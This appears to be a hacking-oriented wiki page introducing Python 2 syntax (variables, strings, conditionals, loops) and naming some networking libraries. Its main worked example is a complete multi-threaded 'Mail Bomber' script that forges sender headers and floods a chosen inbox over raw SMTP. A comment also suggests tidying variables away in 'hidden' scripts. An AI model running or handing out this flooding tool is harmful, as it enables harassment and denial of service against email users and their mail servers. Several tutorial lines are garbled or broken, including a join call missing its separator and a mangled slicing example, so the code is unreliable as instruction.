Python

Below applies to Python 2.6 or lower, Python 3 is a good bit different.

Python is an object oriented, interpreted language. It is unique in that it requires a user to indent in place of using curly brackets ({..}).

Note: that most *nix distributions come with Python by default.

Basics

Basic python syntax

Hello World!

>>> print "HELLO WORLD!"
HELLO WORLD!

Variables

Variable names DO NOT need to begin with a special character, unlike PHP. Variable names CAN, however, be any combination, as long as the word isn't reserved (Ex: and, or, print), of letters and numbers.

>>> #Numbers
>>> a = 1 #Declare A as 1
>>> b = a+5 #b becomes 6, while a remains 1
>>> a += 5 #a is overwritten, and becomes 6
>>> c = b = a #c and b are overwritten and become 6
>>> #Strings
>>> a = "Hello "
>>> b = "There"
>>> c = a+b #JOIN STRINGS
>>> a = "Blue Yellow Green Red".split(" ") #Split the string at every " "
>>> a #Output 'a' to the screen, same as print or print()
['Blue', 'Yellow', 'Green', 'Red'] #List object, another type of variable
>>> .join(a) #Join all the list objects as one
'BlueYellowGreenRed'
>>> a = 'Blue Green Yellow Red'[0:4] #This returns the sub-string 'Blue'
>>> a = 'Blue Green Yellow Red'[5:] #This returns the sub-string 'Green Yellow Red'
>>> a = 'a = 'Blue Green Yellow Red'[::2] #This returns the sub-string Bu re elwRd'
>>> #Float 
>>> a = 88.2
>>> b = 88
>>> print a/25
3.528
>>> print b/25
3
>>> #Other types
>>> a = (" ", 355, 256.7, ["Hello", "World"])
>>> type(a)
<type 'tuple'>
>>> a = {"Hello":"World", "Key":"Value"}
>>> type(a)
<type 'dict'>
>>> a = "Anhero"
>>> del a #Its a good idea, if you're making a 'hidden' script, to delete variables after you use them...

Statements

Comparison

 <       Less than
 >       Greater than
 ==      Equal to
 !=      Not equal
 is      Identical
 is not  Not identical
 <=      Less than or equal to
 >=      Greater than or equal to

If

>>> a = 1
>>> b = 2
>>> if a != b:
	print "No!"
 
 	
No!
>>> a = 1
>>> b = 1
>>> if a == b:
	print "Yes!"

	
Yes!
>>> a = 1
>>> b = 5
>>> if (a == b-len("....")/1) and "a" == "a" or "b" == "b":
	print "Yes!"

 	
Yes!

Loops

While

>>> a = 1
>>> while a < 5: #Note, replacing '<' with '<=' allows it to reach 5, instead of stopping at 4
	print a
	a += 1;

1
2
3
4
>>> a = False;
>>> while a == False:
	print "False"
	a = True;

	
False

For

>>> for x in range(0, 10):
	print x

	
0
1
2
3
4
5
6
7
8
9

consider using xrange when dealing with larger lists, as it creates an iterator, rather than constructing the full list in memory

>>> for x in ['Hello', 'world', ',this', 'is', 'a', 'list']:
	print x

	
Hello
world
,this
is
a
list

Examples

Multi-Threaded Mail Bomber

#CREATED BY: DUMP 
#MULTI THREADING ALLOWS FOR A CLASS TO BE RUN MULTIPLE TIMES AT ONCE.
#INCLUDES SMTP ENGINE, AND MAIL HEADER GEN. THAT FOLLOWS RFC STARDARDS
import socket, datetime, time, threading;
class MailGen():
    def Engine(self, To, From, Subject, Data):
        self.lf = "\r\n";
        return "From: \""+From.split("@")[0]+"\" <"+From+">"+self.lf+"Return-Path: "+From+self.lf+"Sender: "+From+self.lf+"Recieved: "+From.split("@") [1].capitalize()+":25"+self.lf+"To: \""+To.split("@")[0]+"\" <"+To+">"+self.lf+"Subject: "+Subject+self.lf+"Date:  "+datetime.datetime.now().strftime("%a, %d %d %Y %H:%S")+self.lf+self.lf+Data
class MailBomb(threading.Thread):
    def __init__(self, To, From, Data):
        self.To = To;
        self.From = From;
        self.Data = Data;
        threading.Thread.__init__ ( self )
    def run(self):
        print "THREAD LAUNCHED";
        self.lf = "\r\n";
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
        self.connection.connect((self.To[self.To.index("@")+1:len(self.To)], 25));
        self.connection.send("HELO"+self.lf); self.connection.recv(1024);
        self.connection.send("MAIL FROM: "+self.From+self.lf); self.connection.recv(1024);
        self.connection.send("RCPT TO: "+self.To+self.lf); self.connection.recv(1024);
        self.connection.send("DATA"+self.lf); self.connection.recv(1024);
        for line in self.Data: self.connection.send(line);
        self.connection.send(self.lf+self.lf+"."+self.lf); self.connection.recv(1024);
        self.connection.send("QUIT"+self.lf); self.connection.close();
address1 = raw_input("To E-mail: ");
address2 = raw_input("From E-mail: ");
data1 = raw_input("Subject: ");
data2 = raw_input("Data: ");
generator = MailGen();
message = generator.Engine(address1, address2, data1, data2);
multiply = int(raw_input("Amount Sent (0, 5, 10...): "));
lists = [address1]*multiply;
for a in range(0, multiply, 5):
    for b in range(a, a+5):
        MailBomb(lists[b], address2, message).start();
    time.sleep(.50);

Modules

Scapy

Scapy is a powerful, low-level, networking tool

DPKT

fast, simple packet creation / parsing, with definitions for the basic TCP/IP protocols.

Twisted

Twisted is an event-driven networking engine written in Python and licensed under the MIT license.

Tornado Web

Tornado is an open source version of the scalable, non-blocking web server and tools that power FriendFeed. The FriendFeed application is written using a web framework that looks a bit like web.py or Google's webapp, but with additional tools and optimizations to take advantage of the underlying non-blocking infrastructure.

Links

Python Documentation Download Python